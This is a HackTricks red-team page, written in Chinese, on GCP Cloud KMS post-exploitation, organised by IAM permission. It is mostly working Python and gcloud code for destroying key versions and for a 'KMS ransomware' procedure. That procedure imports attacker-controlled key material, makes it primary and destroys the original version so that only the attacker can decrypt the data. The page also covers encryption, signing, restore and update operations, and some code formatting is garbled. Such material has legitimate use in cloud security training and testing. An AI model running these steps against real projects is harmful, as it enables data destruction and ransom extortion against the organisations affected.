GCP - KMS Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

KMS

有关 KMS 的基本信息,请参见:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

拥有此权限的攻击者可以销毁 KMS 版本。为此,你需要先禁用该密钥,然后销毁它:

禁用并销毁密钥版本 (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者的账户使用该密钥,从而完全地 **steal a KMS key**。由于在 GCP 中不存在这些资源策略,因此无法实现。

但是,还有另一种执行 global KMS Ransomware 的方法,涉及以下步骤:

- 创建一个新的 **密钥版本并导入攻击者提供的密钥材料**
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • 将其设为 默认版本(用于未来被加密的数据)
  • 重新加密旧数据:将使用先前版本加密的旧数据用新版本重新加密。
  • 删除 KMS key
  • 现在只有拥有原始密钥材料的攻击者才能解密这些加密数据

Cloud Storage + CMEK permission model

当 Cloud Storage 中的对象使用 CMEK 加密时,对 KMS 的解密/加密调用是由项目的 Cloud Storage service agent(其邮箱为 service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com) 执行的,而不是由读取对象的终端用户直接发起。

这意味着要读取由 CMEK 加密的内容:

  • 项目的 Cloud Storage service agent 必须对所使用的 KMS key 拥有 KMS 权限(通常为 roles/cloudkms.cryptoKeyEncrypterDecrypter)。
  • 用户只需要对象读取权限(例如 storage.objects.get)。他不需要 KMS key 的权限。

这意味着,要通过 KMS key 控制对加密数据的访问,需要向项目的 Cloud Storage service agent 添加/移除 KMS 权限。

注意:如果在项目级别为 Storage service agent 绑定了类似 roles/cloudkms.cryptoKeyEncrypterDecrypter 的角色,该 agent 仍然可以使用同一项目中的密钥进行解密。

Here are the steps to import a new version and disable/delete the older data:

导入新密钥版本并删除旧版本 ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>使用对称密钥加密数据(Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

使用非对称密钥签名消息 (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>使用非对称密钥验证签名 (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

cloudkms.cryptoKeyVersions.restore 权限允许某个身份恢复先前被安排销毁或在 Cloud KMS 中被禁用的密钥版本,使其返回到活动且可用的状态。

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

权限 cloudkms.cryptoKeyVersions.update 允许某个主体修改 Cloud KMS 中特定密钥版本的属性或状态,例如启用或禁用该密钥版本。

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks